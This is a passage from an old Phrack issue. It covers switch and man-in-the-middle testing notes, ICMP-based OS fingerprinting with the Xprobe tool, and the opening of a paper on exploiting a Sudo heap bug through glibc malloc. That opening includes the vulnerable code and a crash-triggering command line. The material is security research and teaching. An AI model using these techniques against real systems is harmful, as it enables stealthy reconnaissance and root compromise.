if_ethersubr.c.patch and then rebuild your kernel Switchtest ---------- Switchtest was written during the development of Taranis. It is included in case someone wants to test their switches and ip stacks. We weren't able to find a switch that defaulted to hub mode when confronted with lots of packets with random source ethernet addresses. Maybe someone else will. It also tries a man in the middle attack. This shouldn't work as it is based on resending traffic to ethernet broadcast or ethernet multicast addresses. If a target IP stack is vulnerable, I'd like to hear about it. We had discussed the possibility of a generalized man in the middle attack. It is postulated that you could do a decent job of the attack by redirecting traffic for a while, and queueing the packets, then resetting the switch (with an arp request) and then sending the queued packets, then redirecting again. This will probably cause a lot of packet drops, but tcp applications may be able to continue in the face of this.. FAQ --- Q: Where does the name come from? A: Taranis was the name of a god in ancient Gaul. Whenever I can't think of a name I randomly grab something from www.pantheon.org. Q: Why do I keep getting PCAP open errors? A: You're not root or your kernel doesn't have a pcap compatible way of capturing packets. Perhaps your network is not ethernet. Q: Why am I not seeing packets from the target machine? A: There are several possibilities: 1. Your system is not spoofing ethernet traffic. Check the output with ethereal (http://ethereal.zing.org/) or tcpdump (www.tcpdump.org) If you are using tcpdump use the -e flag to display the link level addresses 2. If the system you are on is spoofing the ethernet frames correctly it is possible that the switch has a delay before it will switch the port associated with an ethernet address. Some switches also have a lock in mode, where they will not accept any changes to their CAM table. Q: Did [insert network type here] really look like that? A: No. But I have no ascii graphics skills. When I get a chance I'll track down some real pictures and post them at: www.bitland.net/taranis/diagrams.html |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x07 of 0x12 |=---=[ ICMP based remote OS TCP/IP stack fingerprinting techniques ]=---=| |=-----------------------------------------------------------------------=| |=---------------=[ Ofir Arkin & Fyodor Yarochkin ]=---------------------=| --[ICMP based fingerprinting approach]-- TCP based remote OS fingerprinting is quite old(*1) and well-known these days, here we would like to introduce an alternative method to determine an OS remotely based on ICMP responses which are received from the host. Certain accuracy level has been achieved with different platforms, which, with some systems or or classes of platforms (i.g. Win*), is significally more precise than demonstrated with TCP based fingerprinting methods. As mentioned above TCP based method, ICMP fingerprinting utilizes several tests to perform remote OS TCP/IP stack probe, but unlike TCP fingerprinting, a number of tests required to identify an OS could vary from 1 to 4 (as of current development stage). ICMP fingerprinting method is based on certain discoveries on differencies of ICMP replies from various operating systems (mostly due to incorrect, or inconsistant implementation), which were found by Ofir Arkin during his "ICMP Usage in Scanning" research project. Later these discoveries were summarised into a logical desicions tree which Ofir entitled "X project" and practically implemented in 'Xprobe' tool. --[Information/Noise ratio with ICMP fingerprints]-- As it's been noted, the number of datagrams we need to send and receive in order to remotely fingerprint a targeted machine with ICMP based probes is small. Very small. In fact we can send one datagram and receive one reply and this will help us identify up to eight different operating systems (or classes of operating systems). The maximum datagrams which our tool will use at the current stage of development, is four. This is the same number of replies we will need to analyse. This makes ICMP based fingerprinting very time-efficient. ICMP based probes could be crafted to be very stealthy. As on the moment, no maliformed/broken/corrupted datagrams are used to identify remote OS type, unlike the common fingerprinting methods. Current core analysis targets validation of received ICMP responses on valid packets, rather than crafting invalid packets themselves. Heaps of such packets appear in an average network on daily basis and very few IDS systems are tuned to detect such traffic (and those which are, presumably are very noisy and badly configured). --[Why it still works?]-- Inheritable mess among various TCP/IP stack implementations with ICMP handling implementations which implement different RFC standards (original RFC 792, additional RFC 1122, etc), partial or incomplete ICMP support (various ICMP requests are not supported everywhere), low significance of ICMP Error messages data (who verifies all the fields of the original datagram?!), mistakes and misunderstanding in ICMP protocol implementation made our method viable. --[What do we fingerprint:]-- Several OS-specific differencies are being utilized in ICMP based fingerprinting to identify remote operating system type: IP fields of an 'offending' datagram to be examined: * IP total length field Some operating systems (i.g. BSD family) will add 20 bytes (sizeof(ipheader)) to the original IP total length field (which occures due to internal processing mistakes of the datagram, please note when the same packet is read from SOCK_RAW the same behaviour is seen: returned packet ip_len fiend is off by 20 bytes). Some other operating systems will decrease 20 bytes from the original IP total lenth field value of the offending packet. Third group of systems will echo this field correctly. * IP ID some systems are seen not to echo this field correctly. (bit order of the field is changed). * 3 bits flags and offset some systems are seen not to echo this field correctly. (bit order of the field is changed). * IP header checksum Some operating systems will miscalculate this field, others just zero it out. Third group of the systems echoes this field correctly. * UDP header checksum (in case of UDP datagram) The same thing could happen with UDP checksum header. IP headers of responded ICMP packet: * Precedence bits Each IP Datagram has an 8-bit field called the 'TOS Byte', which represents the IP support for prioritization and Type-of-Service handling. The 'TOS Byte' consists of three fields. The 'Precedence field'\cite{rfc791}, which is 3-bit long, is intended to prioritize the IP Datagram. It has eight levels of prioritization. Higher priority traffic should be sent before lower priority traffic. The second field, 4 bits long, is the 'Type-of-Service' field. It is intended to describe how the network should make tradeoffs between throughput, delay, reliability, and cost in routing an IP Datagram. The last field, the 'MBZ' (must be zero), is unused and must be zero. Routers and hosts ignore this last field. This field is 1 bit long. The TOS Bits and MBZ fields are being replaced by the DiffServ mechanism for QoS. RFC 1812 Requires following for IP Version 4 Routers: "4.3.2.5 TOS and Precedence ICMP Source Quench error messages, if sent at all, MUST have their IP Precedence field set to the same value as the IP Precedence field in the packet that provoked the sending of the ICMP Source Quench message. All other ICMP error messages (Destination Unreachable, Redirect, Time Exceeded, and Parameter Problem) SHOULD have their precedence value set to 6 (INTERNETWORK CONTROL) or 7 (NETWORK CONTROL). The IP Precedence value for these error messages MAY be settable". Linux Kernel 2.0.x, 2.2.x, 2.4.x will act as routers and will set their Precedence bits field value to 0xc0 with ICMP error messages. Networking devices that will act the same will be Cisco routers based on IOS 11.x-12.x and Foundry Networks switches. * DF bits echoing Some TCP/IP stacks will echo DF bit with ICMP Error datagrams, others (like linux) will copy the whole octet completely, zeroing certain bits, others will ignore this field and set their own. * IP ID filend (linux 2.4.0 - 2.4.4 kernels) Linux machines based on Kernel 2.4.0-2.4.4 will set the IP Identification field value with their ICMP query request and reply messages to a value of zero. This was later fixed with Linux Kernels 2.4.5 and up. * IP ttl field (ttl distance to the target has to be precalculated to guarantee accuracy). "The sender sets the time to live field to a value that represents the maximum time the datagram is allowed to travel on the Internet". The field value is decreased at each point that the IP header is being processed. RFC 791 states that this field decreasement reflects the time spent processing the datagram. The field value is measured in units of seconds. The RFC also states that the maximum time to live value can be set to 255 seconds, which equals to 4.25 minutes. The datagram must be discarded if this field value equals zero - before reaching its destination. Relating to this field as a measure to assess time is a bit misleading. Some routers may process the datagram faster than a second, and some may process the datagram longer than a second. The real intention is to have an upper bound to the datagram lifetime, so infinite loops of undelivered datagrams will not jam the Internet. Having a bound to the datagram lifetime help us to prevent old duplicates to arrive after a certain time elapsed. So when we retransmit a piece of information which was not previously delivered we can be assured that the older duplicate is already discarded and will not interfere with the process. The IP TTL field value with ICMP has two separate values, one for ICMP query messages and one for ICMP query replies. The IP TTL field value helps us identify certain operating systems and groups of operating systems. It also provides us with the simplest means to add another check criterion when we are querying other host(s) or listening to traffic (sniffing). TTL-based fingeprinting requires a TTL distance to the done to be precalculated in advance (unless a fingerprinting of a local network based system is performed system). The ICMP Error messages will use values used by ICMP query request messages. A good statistics of ttl dependancy on OS type has been gathered at: http://www.switch.ch/docs/ttl_default.html (Research paper on default ttl values) * TOS field RFC 1349 defines the usage of the Type-of-Service field with the ICMP messages. It distinguishes between ICMP error messages (Destination Unreachable, Source Quench, Redirect, Time Exceeded, and Parameter Problem), ICMP query messages (Echo, Router Solicitation, Timestamp, Information request, Address Mask request) and ICMP reply messages (Echo reply, Router Advertisement, Timestamp reply, Information reply, Address Mask reply). Simple rules are defined: * An ICMP error message is always sent with the default TOS (0x0000) * An ICMP request message may be sent with any value in the TOS field. "A mechanism to allow the user to specify the TOS value to be used would be a useful feature in many applications that generate ICMP request messages". The RFC further specify that although ICMP request messages are normally sent with the default TOS, there are sometimes good reasons why they would be sent with some other TOS value. * An ICMP reply message is sent with the same value in the TOS field as was used in the corresponding ICMP request message. Some operating systems will ignore RFC 1349 when sending ICMP echo reply messages, and will not send the same value in the TOS field as was used in the corresponding ICMP request message. ICMP headers of responded ICMP packet: * ICMP Error Message Quoting Size: All ICMP error messages consist of an IP header, an ICMP header and certain amount of data of the original datagram, which triggered the error (aka offending datagram). According to RFC 792 only 64 bits (8 octets) of original datagram are supposed to be included in the ICMP error message. However RFC 1122 (issued later) recommends up to 576 octets to be quoted. Most of "older" TCP stack implementations will include 8 octets into ICMP Errror message. Linux/HPUX 11.x, Solaris, MacOS and others will include more. Noticiably interesting is the fact that Solaris engineers probably couldn't not read RFC properly (since instead of 64 bits Solaris 2.x includes 64 octets (512 bits) of the original datagram. * ICMP error Message echoing integrity Another artifact which has been noticed is that some stack implementations, when sending back an ICMP error message, may alter the offending packet's IP header and the underlying protocol data, which is echoed back with the ICMP error message. Since mistakes, made by TCP/IP stack programmers are different and specific to an operating system, an analysis of these mistakes could give a potential attacker a a possibilty to make assumptions about the target operating system type. Additional tweaks and twists: * Using difererent from zero code fields in ICMP echo requests When an ICMP code field value different than zero (0) is sent with an ICMP Echo request message (type 8), operating systems that will answer our query with an ICMP Echo reply message that are based on one of the Microsoft based operating systems will send back an ICMP code field value of zero with their ICMP Echo Reply. Other operating systems (and networking devices) will echo back the ICMP code field value we were using with the ICMP Echo Request. The Microsoft based operating systems acts in contrast to RFC 792 guidelines which instruct the answering operating systems to only change the ICMP type to Echo reply (type 0), recalculate the checksums and send the ICMP Echo reply away. * Using DF bit echoing with ICMP query messages As in case of ICMP Error messages, some tcp stacks will respond these queries, while the others: will not. * Other ICMP messages: * ICMP timestamp request * ICMP Information request * ICMP Address mask request Some TCP/IP stacks support these messages and respond to some of these requests. --[Xprobe implementation]-- Currently Xprobe deploys hardcoded logic tree, developed by Ofir Arkin in 'Project X'. Initially a UDP datagram is being sent to a closed port in order to trigger ICMP Error message: ICMP unreachable/port unreach. (this sets up a limitation of having at least one port not filtered on target system with no service running, generically speaking other methods of triggering ICMP unreach packet could be used, this will be discussed further). Moreover, a few tests (icmp unreach content, DF bits, TOS ...) could be combined within a single query, since they do not affect results of each other. Upon the receipt of ICMP unreachable datagram, contents of the received datagram is examined and a diagnostics decision is made, if any further tests are required, according to the logic tree, further queries are sent. --[ Logic tree]--- Quickly recapping the logic tree organization: Initially all TCP/IP stack implementations are split into 2 groups, those which echo precedence bits back, and those which do not. Those which do echo precendence bits (linux 2.0.x, 2.2.x, 2.4.x, cisco IOS 11.x-12.x, Extreme Network Switches etc), being differentiated further based on ICMP error quoting size. (Linux sticks with RFC 1122 here and echoes up to 576 octets, while others in this subgroup echo only 64 bits (8 octets)). Further echo integrity checks are used to differentiate cisco routers from Extreme Network switches. Time-to-live and IP ID fields of ICMP echo reply are being used to recognize version of linux kernel. The same approach is being used to recognize other TCP/IP stacks. Data echoing validation (amounts of octets of original datagram echoed, checksum validation, etc). If additional information is needed to differ two 'similar' IP stacks, additional query is being sent. (please refer to the diagram at http://www.sys-security.com/html/projects/X.html for more detailed explanation/graphical representation of the logic tree). One of the serious problems with the logic tree, is that adding new operating system types to it becomes extremely painful. At times part of the whole logic tree has to be reworked to 'fit' a single description. Therefore a singature based fingerprinting method took our closer attention. --[Sinature based approach]-- Singature based approach is what we are currently focusing on and which we believe will be further, more stable, reliable and flexible method of remote ICMP based fingerprints. Signature-based method is currently based on five different tests, which optionally could be included in each operating system fingerprint. Initally the systems with lesser amount of tests are being examined (normally starting with ICMP unreach test). If no single OS stack found matching received signature, those stacks which match a part, being grouped again, and another test (based on lesser amounts of tests issued principle) is choosen and executed. This verification is repeated until an OS stack, completely matching the signature is found, or we run out of tests. Currently following tests are being deployed: * ICMP unreachable test (udp closed port based, host unreachable, network unreachable (for systems which are believed to be gateways) * ICMP echo request/reply test * ICMP timestamp request * ICMP information request * ICMP address mask request --[future implementations/development]-- Following issues are planned to be deployed (we always welcome discussions/suggestions though): * Fingerprints database (currently being tested) * Dynamic, AI based logic (long-term project :)) * Tests would heavily dependent on network topology (pre-test network mapping will take place). * Path-to-target test (to calculate hops distance to the target) filtering devices probes. * Future implementations will be using packets with actual application data to dismiss chances of being detected. * other network mapping capabilities shall be included ( network role identification, search for closed UDP port, reachability tests, etc). --[code for kids]-- Currently implemented code and further documentation is available at following locations: http://www.sys-security.com/html/projects/X.html http://xprobe.sourceforge.net http://www.notlsd.net/xprobe/ Ofir Arkin Fyodor Yarochkin |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x08 of 0x12 --=[ Disclaimer ]=-----------------------------------------------------// In this issue of Phrack, there are two similar articles about malloc based exploitation techniques. The first one explains in detail the GNU C Library implementation of the malloc interface and how it can be abused to exploit buffer overflows in malloc space. The second article is a more hands-on approach to introduce you to the idea of malloc overflows. It covers the System V implementation and the GNU C Library implementation. If you are not sure about the topic, it may be a better choice to start with it to get an idea of the subject. However, if you are serious about learning this technique, there is no way around the article by MaXX. --=[ Enjoy ]=------------------------------------------------------------// |=[ Vudo - An object superstitiously believed to embody magical powers ]=-| |=-----------------------------------------------------------------------=| |=------------=[ Michel "MaXX" Kaempf ]=-------------=| |=---------------[ Copyright (C) 2001 Synnergy Networks ]=---------------=| The present paper could probably have been entitled "Smashing The Heap For Fun And Profit"... indeed, the memory allocator used by the GNU C Library (Doug Lea's Malloc) and the associated heap corruption techniques are presented. However, it was entitled "Vudo - An object superstitiously believed to embody magical powers" since a recent Sudo vulnerability and the associated Vudo exploit are presented as well. --[ Contents ]---------------------------------------------------------- 1 - Introduction 2 - The "potential security problem" 2.1 - A real problem 2.1.1 - The vulnerable function 2.1.2 - The segmentation violation 2.2 - An unreal exploit 2.3 - Corrupting the heap 2.4 - Temporary conclusion 3 - Doug Lea's Malloc 3.1 - A memory allocator 3.1.1 - Goals 3.1.2 - Algorithms 3.1.2.1 - Boundary tags 3.1.2.2 - Binning 3.1.2.3 - Locality preservation 3.1.2.4 - Wilderness preservation 3.1.2.5 - Memory mapping 3.2 - Chunks of memory 3.2.1 - Synopsis of public routines 3.2.2 - Vital statistics 3.2.3 - Available chunks 3.3 - Boundary tags 3.3.1 - Structure 3.3.2 - Size of a chunk 3.3.3 - prev_size field 3.3.4 - size field 3.4 - Bins 3.4.1 - Indexing into bins 3.4.2 - Linking chunks in bin lists 3.5 - Main public routines 3.5.1 - The malloc(3) algorithm 3.5.2 - The free(3) algorithm 3.5.3 - The realloc(3) algorithm 3.6 - Execution of arbitrary code 3.6.1 - The unlink() technique 3.6.1.1 - Concept 3.6.1.2 - Proof of concept 3.6.2 - The frontlink() technique 3.6.2.1 - Concept 3.6.2.2 - Proof of concept 4 - Exploiting the Sudo vulnerability 4.1 - The theory 4.2 - The practice 5 - Acknowledgements 6 - Outroduction --[ 1 - Introduction ]-------------------------------------------------- Sudo (superuser do) allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while logging the commands and arguments. -- http://www.courtesan.com/sudo/index.html On February 19, 2001, Sudo version 1.6.3p6 was released: "This fixes a potential security problem. So far, the bug does not appear to be exploitable." Despite the comments sent to various security mailing lists after the announce of the new Sudo version, the bug is not a buffer overflow and the bug does not damage the stack. But the bug is exploitable: even a single byte located somewhere in the heap, erroneously overwritten by a NUL byte before a call to syslog(3) and immediately restored after the syslog(3) call, may actually lead to execution of arbitrary code as root. Kick off your shoes, put your feet up, lean back and just enjoy the... voodoo. The present paper focuses on Linux/Intel systems and: - details the aforementioned bug and explains why a precise knowledge of how malloc works internally is needed in order to exploit it; - describes the functioning of the memory allocator used by the GNU C Library (Doug Lea's Malloc), from the attacker's point of view; - applies this information to the Sudo bug, and presents a working exploit for Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1. --[ 2 - The "potential security problem" ]------------------------------ ----[ 2.1 - A real problem ]-------------------------------------------- ------[ 2.1.1 - The vulnerable function ]------------------------------- The vulnerable function, do_syslog(), can be found in the logging.c file of the Sudo tarball. It is called by two other functions, log_auth() and log_error(), in order to syslog allow/deny and error messages. If the message is longer than MAXSYSLOGLEN (960) characters, do_syslog() splits it into parts, breaking up the line into what will fit on one syslog line (at most MAXSYSLOGLEN characters) and trying to break on a word boundary if possible (words are delimited by SPACE characters here). /* * Log a message to syslog, pre-pending the username and splitting the * message into parts if it is longer than MAXSYSLOGLEN. */ static void do_syslog( int pri, char * msg ) { int count; char * p; char * tmp; char save; /* * Log the full line, breaking into multiple syslog(3) calls if * necessary */ [1] for ( p=msg, count=0; count < strlen(msg)/MAXSYSLOGLEN + 1; count++ ) { [2] if ( strlen(p) > MAXSYSLOGLEN ) { /* * Break up the line into what will fit on one syslog(3) line * Try to break on a word boundary if possible. */ [3] for ( tmp = p + MAXSYSLOGLEN; tmp > p && *tmp != ' '; tmp-- ) ; if ( tmp <= p ) [4] tmp = p + MAXSYSLOGLEN; /* NULL terminate line, but save the char to restore later */ save = *tmp; [5] *tmp = '\0'; if ( count == 0 ) SYSLOG( pri, "%8.8s : %s", user_name, p ); else SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p ); /* restore saved character */ [6] *tmp = save; /* Eliminate leading whitespace */ [7] for ( p = tmp; *p != ' '; p++ ) ; [8] } else { if ( count == 0 ) SYSLOG( pri, "%8.8s : %s", user_name, p ); else SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p ); } } } ------[ 2.1.2 - The segmentation violation ]---------------------------- Chris Wilson discovered that long command line arguments cause Sudo to crash during the do_syslog() operation: $ /usr/bin/sudo /bin/false `/usr/bin/perl -e 'print "A" x 31337'` Password: maxx is not in the sudoers file. This incident will be reported. Segmentation fault Indeed, the loop[7] does not check for NUL characters and therefore pushes p way after the end of the NUL terminated character string msg (created by log_auth() or log_error() via easprintf(), a wrapper to vasprintf(3)). When p reaches the end of the heap (msg is of course located in the heap since vasprintf(3) relies on malloc(3) and realloc(3) to allocate dynamic memory) Sudo eventually dies on line[7] with a segmentation violation after an out of-bounds read operation. This segmentation fault occurs only when long command line arguments are passed to Sudo because the loop[7] has to be run many times in order to reach the end of the heap (there could indeed be many SPACE characters, which force do_syslog() to leave the loop[7], after the end of the msg buffer but before the end of the heap). Consequently, the length of the msg string has to be many times MAXSYSLOGLEN because the loop[1] runs as long as count does not reach (strlen(msg)/MAXSYSLOGLEN + 1). ----[ 2.2 - An unreal exploit ]----------------------------------------- Dying after an illegal read operation is one thing, being able to perform an illegal write operation in order to gain root privileges is another. Unfortunately do_syslog() alters the heap at two places only: line[5] and line[6]. If do_syslog() erroneously overwrites a character at line[5], it has to be exploited during one of the syslog(3) calls between line[5] and line[6], because the erroneously overwritten character is immediately restored at line[6]. Since msg was allocated in the heap via malloc(3) and realloc(3), there is an interesting structure stored just after the end of the msg buffer, maintained internally by malloc: a so-called boundary tag. If syslog(3) uses one of the malloc functions (calloc(3), malloc(3), free(3) or realloc(3)) and if the Sudo exploit corrupts that boundary tag during the execution of do_syslog(), evil things could happen. But does syslog(3) actually call malloc functions? $ /usr/bin/sudo /bin/false `/usr/bin/perl -e 'print "A" x 1337'` [...] malloc( 100 ): 0x08068120; malloc( 300 ): 0x08060de0; free( 0x08068120 ); malloc( 700 ): 0x08060f10; free( 0x08060de0 ); malloc( 1500 ): 0x080623b0; free( 0x08060f10 ); realloc( 0x080623b0, 1420 ): 0x080623b0; [...] malloc( 192 ): 0x08062940; malloc( 8192 ): 0x080681c8; realloc( 0x080681c8, 119 ): 0x080681c8; free( 0x08062940 ); free( 0x080681c8 ); [...] The first series of malloc calls was performed by log_auth() in order to allocate memory for the msg buffer, but the second series of malloc calls was performed... by syslog(3). Maybe the Sudo exploit is not that unreal after all. ----[ 2.3 - Corrupting the heap ]--------------------------------------- However, is it really possible to alter a given byte of the boundary tag located after the msg buffer (or more generally to overwrite at line[5] an arbitrary character (after the end of msg) with a NUL byte)? If the Sudo exploit exclusively relies on the content of the msg buffer (which is fortunately composed of various user-supplied strings (current working directory, sudo command, and so on)), the answer is no. This assertion is demonstrated below. The character overwritten at line[5] by a NUL byte is pointed to by tmp: - tmp comes from loop[3] if there is a SPACE character among the first MAXSYSLOGLEN bytes after p. tmp then points to the first SPACE character encountered when looping from (p + MAXSYSLOGLEN) down to p. -- If the overwritten SPACE character is located within the msg buffer, there is no heap corruption at all because the write operation is not an illegal one. -- If this first encountered SPACE character is located outside the msg buffer, the Sudo exploit cannot control its exact position if it solely relies on the content of the msg buffer, and thus cannot control where the NUL byte is written. - tmp comes from line[4] if there is no SPACE character among the first MAXSYSLOGLEN bytes after p. tmp is then equal to (p + MAXSYSLOGLEN). -- If p and tmp are both located within the msg buffer, there is no possible memory corruption, because overwriting the tmp character located within a buffer returned by malloc is a perfectly legal action. -- If p is located within the msg buffer and tmp is located outside the msg buffer... this is impossible because the NUL terminator at the end of the msg buffer, placed between p and tmp, prevents do_syslog() from successfully passing the test[2] (and the code at line[8] is not interesting because it performs no write operation). Moreover, if the test[2] fails once it will always fail, because p will never be modifed again and strlen(p) will therefore stay less than or equal to MAXSYSLOGLEN, forcing do_syslog() to run the code at line[8] again and again, as long as count does not reach (strlen(msg)/MAXSYSLOGLEN + 1). -- If p and tmp are both located outside the msg buffer, p points to the first SPACE character encountered after the end of the msg string because it was pushed outside the msg buffer by the loop[7]. If the Sudo exploit exclusively relies on the content of the msg buffer, it cannot control p because it cannot control the occurrence of SPACE characters after the end of the msg string. Consequently, it cannot control tmp, which points to the place where the NUL byte is written, because tmp depends on p. Moreover, after p was pushed outside the msg buffer by the loop[7], there should be no NUL character between p and (p + MAXSYSLOGLEN) in order to successfully pass the test[2]. The Sudo exploit should once again rely on the content of the memory after msg. ----[ 2.4 - Temporary conclusion ]-------------------------------------- The Sudo exploit should: - overwrite a byte of the boundary tag located after the msg buffer with the NUL byte... it should therefore control the content of the memory after msg (managed by malloc) because, as proven in 2.3, the control of the msg buffer itself is not sufficient; - take advantage of the erroneously overwritten byte before it is restored... one of the malloc calls performed by syslog(3) should therefore read the corrupted boundary tag and further alter the usual execution of Sudo. But in order to be able to perform these tasks, an in depth knowledge of how malloc works internally is needed. --[ 3 - Doug Lea's Malloc ]--------------------------------------------- Doug Lea's Malloc (or dlmalloc for short) is the memory allocator used by the GNU C Library (available in the malloc directory of the library source tree). It manages the heap and therefore provides the calloc(3), malloc(3), free(3) and realloc(3) functions which allocate and free dynamic memory. The description below focuses on the aspects of dlmalloc needed to successfully corrupt the heap and subsequently exploit one of the malloc calls in order to execute arbitrary code. A more complete description is available in the GNU C Library source tree and at the following addresses: ftp://gee.cs.oswego.edu/pub/misc/malloc.c http://gee.cs.oswego.edu/dl/html/malloc.html ----[ 3.1 - A memory allocator ]---------------------------------------- "This is not the fastest, most space-conserving, most portable, or most tunable malloc ever written. However it is among the fastest while also being among the most space-conserving, portable and tunable. Consistent balance across these factors results in a good general-purpose allocator for malloc-intensive programs." ------[ 3.1.1 - Goals ]------------------------------------------------- The main design goals for this allocator are maximizing compatibility, maximizing portability, minimizing space, minimizing time, maximizing tunability, maximizing locality, maximizing error detection, minimizing anomalies. Some of these design goals are critical when it comes to damaging the heap and exploiting malloc calls afterwards: - Maximizing portability: "conformance to all known system constraints on alignment and addressing rules." As detailed in 3.2.2 and 3.3.2, 8 byte alignment is currently hardwired into the design of dlmalloc. This is one of the main characteristics to permanently keep in mind. - Minimizing space: "The allocator [...] should maintain memory in ways that minimize fragmentation -- holes in contiguous chunks of memory that are not used by the program." But holes are sometimes needed in order to successfully attack programs which corrupt the heap (Sudo for example). - Maximizing tunability: "Optional features and behavior should be controllable by users". Environment variables like MALLOC_TOP_PAD_ alter the functioning of dlmalloc and could therefore aid in exploiting malloc calls. Unfortunately they are not loaded when a SUID or SGID program is run. - Maximizing locality: "Allocating chunks of memory that are typically used together near each other." The Sudo exploit for example heavily relies on this feature to reliably create holes in the memory managed by dlmalloc. - Maximizing error detection: "allocators should provide some means for detecting corruption due to overwriting memory, multiple frees, and so on." Luckily for the attacker who smashes the heap in order to execute arbitrary code, the GNU C Library does not activate these error detection mechanisms (the MALLOC_DEBUG compile-time option and the malloc debugging hooks (__malloc_hook, __free_hook, etc)) by default. ------[ 3.1.2 - Algorithms ]-------------------------------------------- "While coalescing via boundary tags and best-fit via binning represent the main ideas of the algorithm, further considerations lead to a number of heuristic improvements. They include locality preservation, wilderness preservation, memory mapping". --------[ 3.1.2.1 - Boundary tags ]------------------------------------- The chunks of memory managed by Doug Lea's Malloc "carry around with them size information fields both before and after the chunk. This allows for two important capabilities: - Two bordering unused chunks can be coalesced into one larger chunk. This minimizes the number of unusable small chunks. - All chunks can be traversed starting from any known chunk in either a forward or backward direction." The presence of such a boundary tag (the structure holding the said information fields, detailed in 3.3) between each chunk of memory comes as a godsend to the attacker who tries to exploit heap mismanagement. Indeed, boundary tags are control structures located in the very middle of a potentially corruptible memory area (the heap), and if the attacker manages to trick dlmalloc into processing a carefully crafted fake (or altered) boundary tag, they should be able to eventually execute arbitrary code. For example, the attacker could overflow a buffer dynamically allocated by malloc(3) and overwrite the next contiguous boundary tag (Netscape browsers exploit), or underflow such a buffer and overwrite the boundary tag stored just before (Secure Locate exploit), or cause the vulnerable program to perform an incorrect free(3) call (LBNL traceroute exploit) or multiple frees, or overwrite a single byte of a boundary tag with a NUL byte (Sudo exploit), and so on: http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt ftp://maxx.via.ecp.fr/dislocate/ http://www.synnergy.net/downloads/exploits/traceroute-exp.txt ftp://maxx.via.ecp.fr/traceroot/ --------[ 3.1.2.2 - Binning ]------------------------------------------- "Available chunks are maintained in bins, grouped by size." Depending on its size, a free chunk is stored by dlmalloc in the bin corresponding to the correct size range (bins are detailed in 3.4): - if the size of the chunk is 200 bytes for example, it is stored in the bin that holds the free chunks whose size is exactly 200 bytes; - if the size of the chunk is 1504 bytes, it is stored in the bin that holds the free chunks whose size is greater than or equal to 1472 bytes but less than 1536; - if the size of the chunk is 16392 bytes, it is stored in the bin that holds the free chunks whose size is greater than or equal to 16384 bytes but less than 20480; - and so on (how these ranges are computed and how the correct bin is chosen is detailed in 3.4.1). "Searches for available chunks are processed in smallest-first, best-fit order. [...] Until the versions released in 1995, chunks were left unsorted within bins, so that the best-fit strategy was only approximate. More recent versions instead sort chunks by size within bins, with ties broken by an oldest-first rule." These algorithms are implemented via the chunk_alloc() function (called by malloc(3) for example) and the frontlink() macro, detailed in 3.5.1 and 3.4.2. --------[ 3.1.2.3 - Locality preservation ]----------------------------- "In the current version of malloc, a version of next-fit is used only in a restricted context that maintains locality in those cases where it conflicts the least with other goals: If a chunk of the exact desired size is not available, the most recently split-off space is used (and resplit) if it is big enough; otherwise best-fit is used." This characteristic, implemented within the chunk_alloc() function, proved to be essential to the Sudo exploit. Thanks to this feature, the exploit could channel a whole series of malloc(3) calls within a particular free memory area, and could therefore protect another free memory area that had to remain untouched (and would otherwise have been allocated during the best-fit step of the malloc algorithm). --------[ 3.1.2.4 - Wilderness preservation ]--------------------------- "The wilderness (so named by Kiem-Phong Vo) chunk represents the space bordering the topmost address allocated from the system. Because it is at the border, it is the only chunk that can be arbitrarily extended (via sbrk in Unix) to be bigger than it is (unless of course sbrk fails because all memory has been exhausted). One way to deal with the wilderness chunk is to handle it about the same way as any other chunk. [...] A better strategy is currently used: treat the wilderness chunk as bigger than all others, since it can be made so (up to system limitations) and use it as such in a best-first scan. This results in the wilderness chunk always being used only if no other chunk exists, further avoiding preventable fragmentation." The wilderness chunk is one of the most dangerous opponents of the attacker who tries to exploit heap mismanagement. Because this chunk of memory is handled specially by the dlmalloc internal routines (as detailed in 3.5), the attacker will rarely be able to execute arbitrary code if they solely corrupt the boundary tag associated with the wilderness chunk. --------[ 3.1.2.5 - Memory mapping ]------------------------------------ "In addition to extending general-purpose allocation regions via sbrk, most versions of Unix support system calls such as mmap that allocate a separate non-contiguous region of memory for use by a program. This provides a second option within malloc for satisfying a memory request. [...] the current version of malloc relies on mmap only if (1) the request is greater than a (dynamically adjustable) threshold size (currently by default 1MB) and (2) the space requested is not already available in the existing arena so would have to be obtained via sbrk." For these two reasons, and because the environment variables that alter the behavior of the memory mapping mechanism (MALLOC_MMAP_THRESHOLD_ and MALLOC_MMAP_MAX_) are not loaded when a SUID or SGID program is run, a perfect knowledge of how the memory mapping feature works is not mandatory when abusing malloc calls. However, it will be discussed briefly in 3.3.4 and 3.5. ----[ 3.2 - Chunks of memory ]------------------------------------------ The heap is divided by Doug Lea's Malloc into contiguous chunks of memory. The heap layout evolves when malloc functions are called (chunks may get allocated, freed, split, coalesced) but all procedures maintain th